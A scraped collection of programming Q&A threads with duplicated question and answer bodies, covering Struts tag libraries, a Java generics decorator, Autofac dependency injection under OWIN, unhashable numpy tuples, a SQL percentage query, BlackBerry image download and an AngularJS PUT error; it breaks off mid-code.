web.xml:

```<code><web-app>
  <servlet>
    <servlet-name>Action</servlet-name>
    <servlet-class>org.apache.struts.Action.ActionServlet</servlet-class>
    <init-param>
      <param-name>Config</param-name>
      <param-value>/WEB-INF/struts-config.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>Action</servlet-name>
    <url-pattern>*.do</url-pattern>
  </servlet-mapping>
</web-app>
</code>```

答:
Simply you have to check Add Struts TLDs option while creating project.

As shown below in a screen-shot.

Add Struts TLDs: Lets you generate tag library descriptors for the Struts tag libraries. A tag library descriptor is an XML document which contains additional information about the entire tag library as well as each individual tag. In general this is not necessary, because you can refer to on-line URIs rather than local TLD files.

Body:
i am new to Struts.i have tried an sample struts1.x application.when i run it ,it gives an error

The absolute uri: http://struts.apache.org/tags-html cannot be resolved in either web.xml or the jar files deployed with this application" my jsp page has
  '<%@taglib uri="http://struts.apache.org/tags-html" prefix="html" %>
  <%@taglib uri="http://struts.apache.org/tags-bean" prefix="bean" %>'

web page:

        <bean:message key="label.uname"/>
        :

        <bean:message key="label.pwd"/>
        :

web.xml:

<web-app>
  <servlet>
    <servlet-name>Action</servlet-name>
    <servlet-class>org.apache.struts.Action.ActionServlet</servlet-class>
    <init-param>
      <param-name>Config</param-name>
      <param-value>/WEB-INF/struts-config.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>Action</servlet-name>
    <url-pattern>*.do</url-pattern>
  </servlet-mapping>
</web-app>

ContentLicense: CC BY-SA 4.0


问:
Convert between 2 module by interface
Suppose I have 2 general type of Module Earth/Mars. So there will be EarthPerson,EarthDog and MarsPerson, MarsDog etc. They can convert to each other by implements an interface to make sure they can convert to each other but still remain the same type.Ex: person can only be person not dog.

```<code>public interface Mars<T extends Earth> {
    T toEarth();
    interface Earth<T extends Mars<V>,V extends Earth>{
        T toMars();
    }
}
</code>```

Somehow I think those wildcards seems to much complex. But it keeps the TypeSafety for me.
So my question is how can I restructure this?

答:
Your example's semantic is a little awkward, but you could tackle the problem by applying a decorator pattern. The resulting client code could look like this:

```<code>@Test
public void testPerson() {
    InterplanetaryTravelling<Person> traveller = new Person();
    assertEquals("", traveller.whereWasI());

    traveller = new ToEarth<>(traveller);
    assertEquals("Earth", traveller.getCurrentPlanet());
    assertEquals("Earth", traveller.whereWasI());

    traveller = new ToMars<>(traveller);
    assertEquals("Mars", traveller.getCurrentPlanet());
    assertEquals("Earth, Mars", traveller.whereWasI());
}

@Test
public void testDog() {
    InterplanetaryTravelling<Dog> traveller = new Shepherd();
    assertEquals("", traveller.whereWasI());
    // ... same as for the person
}

@Test
public void testTypeSafety() {
    InterplanetaryTravelling<Person> traveller = new Shepherd(); // Compiler Error
}
</code>```

It's an effective solution, as you implement type-dependent code only once. It's also scalable, as for each new type, you'll create just one new class instead of having to create classes for each possible combination of types.

My decorator has the following implementation:

```<code>interface InterplanetaryTravelling<T> {
    String getCurrentPlanet();

    String whereWasI();
}

abstract class InterplanetaryTravellingDecorator<S> implements InterplanetaryTravelling<S> {

    private final InterplanetaryTravelling<? extends S> decoratedTraveller;

    InterplanetaryTravellingDecorator(InterplanetaryTravelling<? extends S> traveller) {
        this.decoratedTraveller = traveller;
    }

    @Override
    public String whereWasI() {
        String previousTravels = decoratedTraveller.whereWasI();

        return previousTravels.isEmpty() ? this.getCurrentPlanet()
                : previousTravels + ", " + this.getCurrentPlanet();
    }
}

class ToEarth<S> extends InterplanetaryTravellingDecorator<S> {

    ToEarth(InterplanetaryTravelling<? extends S> person) {
        super(person);
    }

    @Override
    public String getCurrentPlanet() {
        return "Earth";
    }

}

class ToMars<S> extends InterplanetaryTravellingDecorator<S> {

    ToMars(InterplanetaryTravelling<? extends S> person) {
        super(person);
    }

    @Override
    public String getCurrentPlanet() {
        return "Mars";
    }

}

class Person implements InterplanetaryTravelling<Person> {

    @Override
    public String getCurrentPlanet() {
        return "";
    }

    @Override
    public String whereWasI() {
        return "";
    }

}

abstract class Dog implements InterplanetaryTravelling<Dog> {

    @Override
    public String getCurrentPlanet() {
        return "";
    }

    @Override
    public String whereWasI() {
        return "";
    }

}

class Shepherd extends Dog { }
</code>```

Still, it looks complicated with these generic boundaries, but I wanted to prevent the declaration of an InterplanetaryTravelling traveller, that could reference both a person and/or a dog.

Title: Convert between 2 module by interface

Body:
Suppose I have 2 general type of Module Earth/Mars. So there will be EarthPerson,EarthDog and MarsPerson, MarsDog etc. They can convert to each other by implements an interface to make sure they can convert to each other but still remain the same type.Ex: person can only be person not dog.

public interface Mars<T extends Earth> {
    T toEarth();
    interface Earth<T extends Mars<V>,V extends Earth>{
        T toMars();
    }
}

Somehow I think those wildcards seems to much complex. But it keeps the TypeSafety for me.
So my question is how can I restructure this?

Body:
Your example's semantic is a little awkward, but you could tackle the problem by applying a decorator pattern. The resulting client code could look like this:

@Test
public void testPerson() {
    InterplanetaryTravelling<Person> traveller = new Person();
    assertEquals("", traveller.whereWasI());

    traveller = new ToEarth<>(traveller);
    assertEquals("Earth", traveller.getCurrentPlanet());
    assertEquals("Earth", traveller.whereWasI());

    traveller = new ToMars<>(traveller);
    assertEquals("Mars", traveller.getCurrentPlanet());
    assertEquals("Earth, Mars", traveller.whereWasI());
}

@Test
public void testDog() {
    InterplanetaryTravelling<Dog> traveller = new Shepherd();
    assertEquals("", traveller.whereWasI());
    // ... same as for the person
}

@Test
public void testTypeSafety() {
    InterplanetaryTravelling<Person> traveller = new Shepherd(); // Compiler Error
}

It's an effective solution, as you implement type-dependent code only once. It's also scalable, as for each new type, you'll create just one new class instead of having to create classes for each possible combination of types.

My decorator has the following implementation:

interface InterplanetaryTravelling<T> {
    String getCurrentPlanet();

    String whereWasI();
}

abstract class InterplanetaryTravellingDecorator<S> implements InterplanetaryTravelling<S> {

    private final InterplanetaryTravelling<? extends S> decoratedTraveller;

    InterplanetaryTravellingDecorator(InterplanetaryTravelling<? extends S> traveller) {
        this.decoratedTraveller = traveller;
    }

    @Override
    public String whereWasI() {
        String previousTravels = decoratedTraveller.whereWasI();

        return previousTravels.isEmpty() ? this.getCurrentPlanet()
                : previousTravels + ", " + this.getCurrentPlanet();
    }
}

class ToEarth<S> extends InterplanetaryTravellingDecorator<S> {

    ToEarth(InterplanetaryTravelling<? extends S> person) {
        super(person);
    }

    @Override
    public String getCurrentPlanet() {
        return "Earth";
    }

}

class ToMars<S> extends InterplanetaryTravellingDecorator<S> {

    ToMars(InterplanetaryTravelling<? extends S> person) {
        super(person);
    }

    @Override
    public String getCurrentPlanet() {
        return "Mars";
    }

}

class Person implements InterplanetaryTravelling<Person> {

    @Override
    public String getCurrentPlanet() {
        return "";
    }

    @Override
    public String whereWasI() {
        return "";
    }

}

abstract class Dog implements InterplanetaryTravelling<Dog> {

    @Override
    public String getCurrentPlanet() {
        return "";
    }

    @Override
    public String whereWasI() {
        return "";
    }

}

class Shepherd extends Dog { }

Still, it looks complicated with these generic boundaries, but I wanted to prevent the declaration of an InterplanetaryTravelling traveller, that could reference both a person and/or a dog.


问:
Autofac DI error in WebApi2 with OWIN
I have problem with DI in WebApi. I have add autofac accordingly with the instruction. But something is wrong with resolving controller.

I get an error:

```<code>{
"Message": "An error has occurred.",
"ExceptionMessage": "An error occurred when trying to create a controller of type 'ValuesController'. Make sure that the controller has a parameterless public constructor.",
"ExceptionType": "System.InvalidOperationException",
"StackTrace": "   at System.Web.Http.Dispatcher.DefaultHttpControllerActivator.Create(HttpRequestMessage request, HttpControllerDescriptor controllerDescriptor, Type controllerType)\r\n   at System.Web.Http.Controllers.HttpControllerDescriptor.CreateController(HttpRequestMessage request)\r\n   at System.Web.Http.Dispatcher.HttpControllerDispatcher.<SendAsync>d__1.MoveNext()",
"InnerException": {
"Message": "An error has occurred.",
"ExceptionMessage": "Type 'WebApiOwinAutoFac.Controllers.ValuesController' does not have a default constructor",
"ExceptionType": "System.ArgumentException",
"StackTrace": "   at System.Linq.Expressions.Expression.New(Type type)\r\n   at System.Web.Http.Internal.TypeActivator.Create[TBase](Type instanceType)\r\n   at System.Web.Http.Dispatcher.DefaultHttpControllerActivator.GetInstanceOrActivator(HttpRequestMessage request, Type controllerType, Func`1& activator)\r\n   at System.Web.Http.Dispatcher.DefaultHttpControllerActivator.Create(HttpRequestMessage request, HttpControllerDescriptor controllerDescriptor, Type controllerType)"
   }
}
</code>```

Startup.cs

```<code>public partial class Startup
{
    public void Configuration(IAppBuilder app)
    {
        var builder = new ContainerBuilder();

        // STANDARD WEB API SETUP:

        // Get your HttpConfiguration. In OWIN, you'll create one
        // rather than using GlobalConfiguration.
        var config = new HttpConfiguration();

        // Register your Web API controllers.
        builder.RegisterApiControllers(Assembly.GetExecutingAssembly());

        // builder.RegisterType<ApplicationDbContext>().AsSelf().InstancePerLifetimeScope();
        builder.RegisterType<TestRepository>().As<ITestRepository>();

        // Run other optional steps, like registering filters,
        // per-controller-type services, etc., then set the dependency resolver
        // to be Autofac.
        var container = builder.Build();
        config.DependencyResolver = new AutofacWebApiDependencyResolver(container);

        // OWIN WEB API SETUP:

        // Register the Autofac middleware FIRST, then the Autofac Web API middleware,
        // and finally the standard Web API middleware.
        app.UseAutofacMiddleware(container);
        app.UseAutofacWebApi(config);
        app.UseWebApi(config);

        ConfigureAuth(app);
    }
}
</code>```

ValuesController.cs

```<code>[RoutePrefix("api/Values")]
public class ValuesController : ApiController
{
    private ITestRepository _context { get; set; }

    public ValuesController(ITestRepository context)
    {
        _context = context;
    }

    // GET api/values/5
    [HttpGet]
    public string GetTest()
    {
        var testList = _context.GetAll();
        return String.Join(",", testList.Select(s => s.Name));
    }
}
</code>```

ITestRepository.cs

```<code>public interface ITestRepository
{
    IEnumerable<TestModel> GetAll();
}
</code>```

TestRepository.cs

```<code>public class TestRepository : ITestRepository
{
    private ApplicationDbContext _context = new ApplicationDbContext();

    public IEnumerable<TestModel> GetAll()
    {
        return _context.Tests;
    }
}
</code>```

My sample project where I try to make it works, is available on GitHub:
Thank you for any help.

答:
Thanks to Travis Illig. I also learn new thing today.

You need two things - remove GlobalConfiguration inside Global.ascx.cs, and register Web API route using OWIN.

```<code>[assembly: OwinStartup(typeof(WebApiOwinAutoFac.Startup))]
namespace WebApiOwinAutoFac
{
    public partial class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            var builder = new ContainerBuilder();

            // STANDARD WEB API SETUP:

            // Get your HttpConfiguration. In OWIN, you'll create one
            // rather than using GlobalConfiguration.
            var config = new HttpConfiguration();
            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );

            // Register your Web API controllers.
            builder.RegisterApiControllers(Assembly.GetExecutingAssembly());

            // builder.RegisterType<ApplicationDbContext>().AsSelf().InstancePerLifetimeScope();
            builder.RegisterType<TestRepository>().As<ITestRepository>();

            // Run other optional steps, like registering filters,
            // per-controller-type services, etc., then set the dependency resolver
            // to be Autofac.
            var container = builder.Build();
            config.DependencyResolver = new AutofacWebApiDependencyResolver(container);

            // OWIN WEB API SETUP:

            // Register the Autofac middleware FIRST, then the Autofac Web API middleware,
            // and finally the standard Web API middleware.
            app.UseAutofacMiddleware(container);
            app.UseAutofacWebApi(config);
            app.UseWebApi(config);

            ConfigureAuth(app);
        }
    }
}
</code>```

Global.ascx.cs

```<code>public class WebApiApplication : System.Web.HttpApplication
{
    protected void Application_Start()
    {
        AreaRegistration.RegisterAllAreas();
        //GlobalConfiguration.Configure(WebApiConfig.Register); <-- Delete this line
        FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
        RouteConfig.RegisterRoutes(RouteTable.Routes);
        BundleConfig.RegisterBundles(BundleTable.Bundles);
    }
}
</code>```

Title: Autofac DI error in WebApi2 with OWIN

Body:
I have problem with DI in WebApi. I have add autofac accordingly with the instruction. But something is wrong with resolving controller.

I get an error:

{
"Message": "An error has occurred.",
"ExceptionMessage": "An error occurred when trying to create a controller of type 'ValuesController'. Make sure that the controller has a parameterless public constructor.",
"ExceptionType": "System.InvalidOperationException",
"StackTrace": "   at System.Web.Http.Dispatcher.DefaultHttpControllerActivator.Create(HttpRequestMessage request, HttpControllerDescriptor controllerDescriptor, Type controllerType)\r\n   at System.Web.Http.Controllers.HttpControllerDescriptor.CreateController(HttpRequestMessage request)\r\n   at System.Web.Http.Dispatcher.HttpControllerDispatcher.<SendAsync>d__1.MoveNext()",
"InnerException": {
"Message": "An error has occurred.",
"ExceptionMessage": "Type 'WebApiOwinAutoFac.Controllers.ValuesController' does not have a default constructor",
"ExceptionType": "System.ArgumentException",
"StackTrace": "   at System.Linq.Expressions.Expression.New(Type type)\r\n   at System.Web.Http.Internal.TypeActivator.Create[TBase](Type instanceType)\r\n   at System.Web.Http.Dispatcher.DefaultHttpControllerActivator.GetInstanceOrActivator(HttpRequestMessage request, Type controllerType, Func`1& activator)\r\n   at System.Web.Http.Dispatcher.DefaultHttpControllerActivator.Create(HttpRequestMessage request, HttpControllerDescriptor controllerDescriptor, Type controllerType)"
   }
}

Startup.cs

public partial class Startup
{
    public void Configuration(IAppBuilder app)
    {
        var builder = new ContainerBuilder();

        // STANDARD WEB API SETUP:

        // Get your HttpConfiguration. In OWIN, you'll create one
        // rather than using GlobalConfiguration.
        var config = new HttpConfiguration();

        // Register your Web API controllers.
        builder.RegisterApiControllers(Assembly.GetExecutingAssembly());

        // builder.RegisterType<ApplicationDbContext>().AsSelf().InstancePerLifetimeScope();
        builder.RegisterType<TestRepository>().As<ITestRepository>();

        // Run other optional steps, like registering filters,
        // per-controller-type services, etc., then set the dependency resolver
        // to be Autofac.
        var container = builder.Build();
        config.DependencyResolver = new AutofacWebApiDependencyResolver(container);

        // OWIN WEB API SETUP:

        // Register the Autofac middleware FIRST, then the Autofac Web API middleware,
        // and finally the standard Web API middleware.
        app.UseAutofacMiddleware(container);
        app.UseAutofacWebApi(config);
        app.UseWebApi(config);

        ConfigureAuth(app);
    }
}

ValuesController.cs

[RoutePrefix("api/Values")]
public class ValuesController : ApiController
{
    private ITestRepository _context { get; set; }

    public ValuesController(ITestRepository context)
    {
        _context = context;
    }

    // GET api/values/5
    [HttpGet]
    public string GetTest()
    {
        var testList = _context.GetAll();
        return String.Join(",", testList.Select(s => s.Name));
    }
}

ITestRepository.cs

public interface ITestRepository
{
    IEnumerable<TestModel> GetAll();
}

TestRepository.cs

public class TestRepository : ITestRepository
{
    private ApplicationDbContext _context = new ApplicationDbContext();

    public IEnumerable<TestModel> GetAll()
    {
        return _context.Tests;
    }
}

My sample project where I try to make it works, is available on GitHub:
Thank you for any help.

Body:
Thanks to Travis Illig. I also learn new thing today.

You need two things - remove GlobalConfiguration inside Global.ascx.cs, and register Web API route using OWIN.

[assembly: OwinStartup(typeof(WebApiOwinAutoFac.Startup))]
namespace WebApiOwinAutoFac
{
    public partial class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            var builder = new ContainerBuilder();

            // STANDARD WEB API SETUP:

            // Get your HttpConfiguration. In OWIN, you'll create one
            // rather than using GlobalConfiguration.
            var config = new HttpConfiguration();
            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );

            // Register your Web API controllers.
            builder.RegisterApiControllers(Assembly.GetExecutingAssembly());

            // builder.RegisterType<ApplicationDbContext>().AsSelf().InstancePerLifetimeScope();
            builder.RegisterType<TestRepository>().As<ITestRepository>();

            // Run other optional steps, like registering filters,
            // per-controller-type services, etc., then set the dependency resolver
            // to be Autofac.
            var container = builder.Build();
            config.DependencyResolver = new AutofacWebApiDependencyResolver(container);

            // OWIN WEB API SETUP:

            // Register the Autofac middleware FIRST, then the Autofac Web API middleware,
            // and finally the standard Web API middleware.
            app.UseAutofacMiddleware(container);
            app.UseAutofacWebApi(config);
            app.UseWebApi(config);

            ConfigureAuth(app);
        }
    }
}

Global.ascx.cs

public class WebApiApplication : System.Web.HttpApplication
{
    protected void Application_Start()
    {
        AreaRegistration.RegisterAllAreas();
        //GlobalConfiguration.Configure(WebApiConfig.Register); <-- Delete this line
        FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
        RouteConfig.RegisterRoutes(RouteTable.Routes);
        BundleConfig.RegisterBundles(BundleTable.Bundles);
    }
}


问:
Unable to use a tuple as a dictionary key?
The code is a little complex, sorry. Please focus on the parallel_p function. Although sign is a tuple, Python complains:

if sign in hashtable and gives a TypeError. Why is sign a numpy.ndarray rather than a tuple? I created it as a tuple.

```<code>p_dist = dict()

def parallel_prog(hashtable):
    def wrapper(func):
        if parallel_programming:
            @wraps(func)
            def parallel_p(*args, **kwargs):
                sign = tuple(args)
                print type(sign)
                if sign in hashtable:
                    r = hashtable[sign] # hit.
                    return r
                r = func(*args, **kwargs)
                hashtable[tuple(sign)] = r # register for future hits.
                return r
            return parallel_p
        else:
            return func
    return wrapper

@parallel_prog(p_dist)
def euclidean(a, b, signature=None):

    val = np.sqrt(np.add.reduce((a - b)**2))
    return val
</code>```

IN TEST MODULE

```<code>class similartyTest(unittest.TestCase):

    def setUp(self):
        self.t = np.array([1,2,3,4])
        self.t1 = np.array([0, 0, 0, 0])
        self.t2 = np.array([4,3,2,1])
        self.h1 = [1,0,0,1,1]
        self.h2 = [1,1,1,1,1]

    def test_euclidean(self):
        self.failUnless(euclidean(self.t, self.t) == 0)
        self.failUnless(euclidean(self.t, self.t1) == sqrt(30))
</code>```

OUTPUT:

```<code><type 'tuple'>`

TypeError: unhashable type: 'numpy.ndarray`
</code>```

答:
Tuples are hashable only when they hold hashable references.

```<code>t1 = (7, 'A')
t2 = (7, 'A', {1, 2, 3})
</code>```

t1 is hashable but t2 is not.

The link below gives a more detailed explanation:
https://www.quora.com/Are-tuples-hashable-in-Python/answer/Luciano-Ramalho?srid=T4aW

Body:
The code is a little complex, sorry. Please focus on the parallel_p function. Although sign is a tuple, Python complains:

if sign in hashtable and gives a TypeError. Why is sign a numpy.ndarray rather than a tuple? I created it as a tuple.

p_dist = dict()

def parallel_prog(hashtable):
    def wrapper(func):
        if parallel_programming:
            @wraps(func)
            def parallel_p(*args, **kwargs):
                sign = tuple(args)
                print type(sign)
                if sign in hashtable:
                    r = hashtable[sign] # hit.
                    return r
                r = func(*args, **kwargs)
                hashtable[tuple(sign)] = r # register for future hits.
                return r
            return parallel_p
        else:
            return func
    return wrapper

@parallel_prog(p_dist)
def euclidean(a, b, signature=None):

    val = np.sqrt(np.add.reduce((a - b)**2))
    return val

IN TEST MODULE

class similartyTest(unittest.TestCase):

    def setUp(self):
        self.t = np.array([1,2,3,4])
        self.t1 = np.array([0, 0, 0, 0])
        self.t2 = np.array([4,3,2,1])
        self.h1 = [1,0,0,1,1]
        self.h2 = [1,1,1,1,1]

    def test_euclidean(self):
        self.failUnless(euclidean(self.t, self.t) == 0)
        self.failUnless(euclidean(self.t, self.t1) == sqrt(30))

OUTPUT:

<type 'tuple'>`

TypeError: unhashable type: 'numpy.ndarray`

Body:
Tuples are hashable only when they hold hashable references.

t1 = (7, 'A')
t2 = (7, 'A', {1, 2, 3})

t1 is hashable but t2 is not.

The link below gives a more detailed explanation:
https://www.quora.com/Are-tuples-hashable-in-Python/answer/Luciano-Ramalho?srid=T4aW


问:
Maximum of COUNT by group and joining on EQUALS and NOT EQUALS condition
I am working on a scenario where I need to get counts grouped by UserID and then obtain the maximum count obtained from the result set of the grouping.

This maximum count will then be used to calculate percentages against each of the rows obtained from the result set of grouping.

Here is an example:

This is the sample data I have:

```<code> Users Table:
  UserID        CountAsApproved
    1                   1
    2                   1
    1                   1
    2                   1
    3                   1
    3                   0
    4                   1
    1                   1
    4                   0

    Grouping Result:

  UserID            Counts
    1                 3
    2                 2
    3                 1
    4                 1
</code>```

I then need to get the maximum of the count (in this case max count is 3)
and then calculate percentages as follows:

```<code> UserID         Counts      MaxCount            Percentage
    1             3           3            (Count/MaxCount)*100
    2             2           3                 2/3 * 100
    3             1           3                 1/3 * 100
    4             1           3                 1/3 * 100
</code>```

I currently have the query like this:

```<code>    ;WITH Groups_CTE AS(
        SELECT UserID, COUNT(CountAsApproved) as Counts
        FROM Users
        GROUP BY UserID),
MaxCount_CTE AS
(
        SELECT MAX(Counts) AS MaxCount
        FROM Groups_CTE
)
SELECT
        gc.UserID,
        gc.Counts,
        mc.MaxCount,
        CASE WHEN CAST(( ( gc.Counts
                                   / mc.MaxCount ) * 100 ) AS INT) = 0
                     THEN 1
                     ELSE CAST(( ( gc.Counts
                                   / mc.MaxCount ) * 100 ) AS INT)
                END AS Percentage
FROM    Groups_CTE gc CROSS JOIN MaxCount_CTE mc
</code>```

The above query is yielding the same result when I do an Inner join on the below condition instead of a CROSS JOIN

```<code>FROM    Groups_CTE gc JOIN MaxCount_CTE mc
ON gc.Counts <> mc.MaxCount OR gc.Counts = mc.MaxCount
</code>```

I just wanted to check if there is a better way of doing this in performance point of view or in reducing the number of lines of code. I get the same results with either of the joins and also when I used CROSS APPLY without a condition.
I am also a bit hesitant about using two CTEs.

Let me know your thoughts and suggestions in improvising this code.

If it may help, the Users table on which we perform these operations may contain rows ranging in thousands.

答:
Depending on the volumne of data, a sub-query may be a little more performant

```<code>Select *
      ,MaxCount = max(Cnt) over ()
      ,PctCnt   = (Cnt+0.0) / max(Cnt) over ()
 From  (
        Select UserID
              ,Cnt = sum(CountAsApproved)
         From YourTable
         Group By UserID
       ) A
</code>```

Returns

```<code>UserID  Cnt MaxCount    PctCnt
1       3   3           1.000000000000
2       2   3           0.666666666666
3       1   3           0.333333333333
4       1   3           0.333333333333
</code>```

Body:
I am working on a scenario where I need to get counts grouped by UserID and then obtain the maximum count obtained from the result set of the grouping.

This maximum count will then be used to calculate percentages against each of the rows obtained from the result set of grouping.

Here is an example:

This is the sample data I have:

 Users Table:
  UserID        CountAsApproved
    1                   1
    2                   1
    1                   1
    2                   1
    3                   1
    3                   0
    4                   1
    1                   1
    4                   0

    Grouping Result:

  UserID            Counts
    1                 3
    2                 2
    3                 1
    4                 1

I then need to get the maximum of the count (in this case max count is 3)
and then calculate percentages as follows:

 UserID         Counts      MaxCount            Percentage
    1             3           3            (Count/MaxCount)*100
    2             2           3                 2/3 * 100
    3             1           3                 1/3 * 100
    4             1           3                 1/3 * 100

I currently have the query like this:

    ;WITH Groups_CTE AS(
        SELECT UserID, COUNT(CountAsApproved) as Counts
        FROM Users
        GROUP BY UserID),
MaxCount_CTE AS
(
        SELECT MAX(Counts) AS MaxCount
        FROM Groups_CTE
)
SELECT
        gc.UserID,
        gc.Counts,
        mc.MaxCount,
        CASE WHEN CAST(( ( gc.Counts
                                   / mc.MaxCount ) * 100 ) AS INT) = 0
                     THEN 1
                     ELSE CAST(( ( gc.Counts
                                   / mc.MaxCount ) * 100 ) AS INT)
                END AS Percentage
FROM    Groups_CTE gc CROSS JOIN MaxCount_CTE mc

The above query is yielding the same result when I do an Inner join on the below condition instead of a CROSS JOIN

FROM    Groups_CTE gc JOIN MaxCount_CTE mc
ON gc.Counts <> mc.MaxCount OR gc.Counts = mc.MaxCount

I just wanted to check if there is a better way of doing this in performance point of view or in reducing the number of lines of code. I get the same results with either of the joins and also when I used CROSS APPLY without a condition.
I am also a bit hesitant about using two CTEs.

Let me know your thoughts and suggestions in improvising this code.

If it may help, the Users table on which we perform these operations may contain rows ranging in thousands.

Body:
Depending on the volumne of data, a sub-query may be a little more performant

Select *
      ,MaxCount = max(Cnt) over ()
      ,PctCnt   = (Cnt+0.0) / max(Cnt) over ()
 From  (
        Select UserID
              ,Cnt = sum(CountAsApproved)
         From YourTable
         Group By UserID
       ) A

Returns

UserID  Cnt MaxCount    PctCnt
1       3   3           1.000000000000
2       2   3           0.666666666666
3       1   3           0.333333333333
4       1   3           0.333333333333


问:
Download and show image on a BlackBerry
I have to develop a url which involves downloading image from url and show in blackberry stimulator..Can anyone help me in this regard???</p>

答:
This code 'll connect the given URL and returns Bitmap object

```<code>  public static Bitmap connectServerForImage(String url) {

      HttpConnection httpConnection = null;
      DataOutputStream httpDataOutput = null;
      InputStream httpInput = null;
      int rc;

      Bitmap bitmp = null;
      try {
       httpConnection = (HttpConnection) Connector.open(url);
       rc = httpConnection.getResponseCode();
       if (rc != HttpConnection.HTTP_OK) {
        throw new IOException("HTTP response code: " + rc);
       }
       httpInput = httpConnection.openInputStream();
       InputStream inp = httpInput;
       byte[] b = IOUtilities.streamToBytes(inp);
       EncodedImage hai = EncodedImage.createEncodedImage(b, 0, b.length);
       return hai.getBitmap();

      } catch (Exception ex) {
       System.out.println("URL Bitmap Error........" + ex.getMessage());
      } finally {
       try {
        if (httpInput != null)
         httpInput.close();
        if (httpDataOutput != null)
         httpDataOutput.close();
        if (httpConnection != null)
         httpConnection.close();
       } catch (Exception e) {
        e.printStackTrace();

       }
      }
      return bitmp;
     }
</code>```

U can create a bimapfield and asign this bitmap as

```<code>BitmapField bmpFld1=new BitmapField(connectServerForImage(Url));
</code>```

Title: Download and show image on a BlackBerry

Body:
This code 'll connect the given URL and returns Bitmap object

  public static Bitmap connectServerForImage(String url) {

      HttpConnection httpConnection = null;
      DataOutputStream httpDataOutput = null;
      InputStream httpInput = null;
      int rc;

      Bitmap bitmp = null;
      try {
       httpConnection = (HttpConnection) Connector.open(url);
       rc = httpConnection.getResponseCode();
       if (rc != HttpConnection.HTTP_OK) {
        throw new IOException("HTTP response code: " + rc);
       }
       httpInput = httpConnection.openInputStream();
       InputStream inp = httpInput;
       byte[] b = IOUtilities.streamToBytes(inp);
       EncodedImage hai = EncodedImage.createEncodedImage(b, 0, b.length);
       return hai.getBitmap();

      } catch (Exception ex) {
       System.out.println("URL Bitmap Error........" + ex.getMessage());
      } finally {
       try {
        if (httpInput != null)
         httpInput.close();
        if (httpDataOutput != null)
         httpDataOutput.close();
        if (httpConnection != null)
         httpConnection.close();
       } catch (Exception e) {
        e.printStackTrace();

       }
      }
      return bitmp;
     }

U can create a bimapfield and asign this bitmap as

BitmapField bmpFld1=new BitmapField(connectServerForImage(Url));


问:
Error In $http PUT
I'm building a simple auction site. I showed my products in the page. Now i wanna make a new offer. in my controller i use ng-dialog to open a pop-up form and i pass inside the auction that i need. like this:

```<code>     $scope.clickToOpen4 = function (followingauction) {

    console.log(followingauction.allbids[followingauction.allbids.length -1].bid);
    var newScope = $scope.$new();
    newScope.auction = followingauction;
    ngDialog.open({template: '../views/partials/offer.html',
        className: 'ngdialog-theme-default',
        scope: newScope
    });
};
</code>```

In my template offer.html i have a simple form:

```<code>      <form name="Offer"  ng-controller="FollowingAuctionsController">
Your Offer:<br>
<input type="number" placeholder="Your Offer" ng-model="newOffer" name="new offer" required> €<br>

<input class="btn" type="submit" ng-click="submitNewOffer(auction._id, auction.allbids[auction.allbids.length -1].bid)" value="OK"><br>
</code>```

And in the submitNewOffer i pass, the id of the auction and the highest offer.

And this is the submitnewOffer():

```<code>     $scope.submitNewOffer = function (id, bid) {
    console.log(id);
    console.log(bid);
    var newBid = $scope.newOffer;
    if (newBid>bid) {
        console.log(newBid);
        console.log('/api/followingauctions/newoffer/' + id);
        $http.put('/api/followingauctions/newoffer/' + id, newBid)
            .then(function () {
                alert('Offert Done!');
                getFollowingAuctions();
            });
    }

    else {
        alert('The offer must be higher!');
        $scope.newOffer = '';
    }
};
</code>```

Like you see i do the console.log to see if the data that i passed into the template are ok. They are!
Than if the new bid is less than the highest bid that i passed, i send that alert, else i put the new offer.

All works fine and all the console.log are fine. But when i submit the newBid (that is higher than the old bid) it send me this error:

angular.js:12578 PUT http://localhost:3001/api/followingauctions/newoffer/58dbd190b8042b080d1418bf 400 (Bad Request)

angular.js:14516 Possibly unhandled rejection: {"data":"
Unexpected token 8

400
```SyntaxError: Unexpected token 8\n    at parse (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/body-parser/lib/types/json.js:83:15)\n    at /Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/body-parser/lib/read.js:116:18\n    at invokeCallback (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/raw-body/index.js:262:16)\n    at done (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/raw-body/index.js:251:7)\n    at IncomingMessage.onEnd (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/raw-body/index.js:307:7)\n    at emitNone (events.js:86:13)\n    at IncomingMessage.emit (events.js:185:7)\n    at endReadableNT (_stream_readable.js:974:12)\n    at _combinedTickCallback (internal/process/next_tick.js:74:11)\n    at process._tickCallback (internal/process/next_tick.js:98:9)```","status":400,"config":{"method":"PUT","transformRequest":[null],"transformResponse":[null],"jsonpCallbackParam":"callback","url":"/api/followingauctions/newoffer/58dbd190b8042b080d1418bf","data":800,"headers":{"Accept":"application/json, text/plain, /","Content-Type":"application/json;charset=utf-8"}},"statusText":"Bad Request"}

答:
You are using the method incorrectly.

The right signature of $http.put method is put(url, data, [config]);

So, your code could look like this:

```<code>$http.put('/api/followingauctions/newoffer/' + id, {newBid: newBid})
        .then(function () {
            // success
        });
</code>```

and you can access newBid from POST at the backend

OR

```<code>$http.put('/api/followingauctions/newoffer/' + id, {}, {params: {newBid: newBid}})
        .then(function () {
            // success
        });
</code>```

in which case, newBid can be obtained from GET at the backend

Title: Error In $http PUT

Body:
I'm building a simple auction site. I showed my products in the page. Now i wanna make a new offer. in my controller i use ng-dialog to open a pop-up form and i pass inside the auction that i need. like this:

     $scope.clickToOpen4 = function (followingauction) {

    console.log(followingauction.allbids[followingauction.allbids.length -1].bid);
    var newScope = $scope.$new();
    newScope.auction = followingauction;
    ngDialog.open({template: '../views/partials/offer.html',
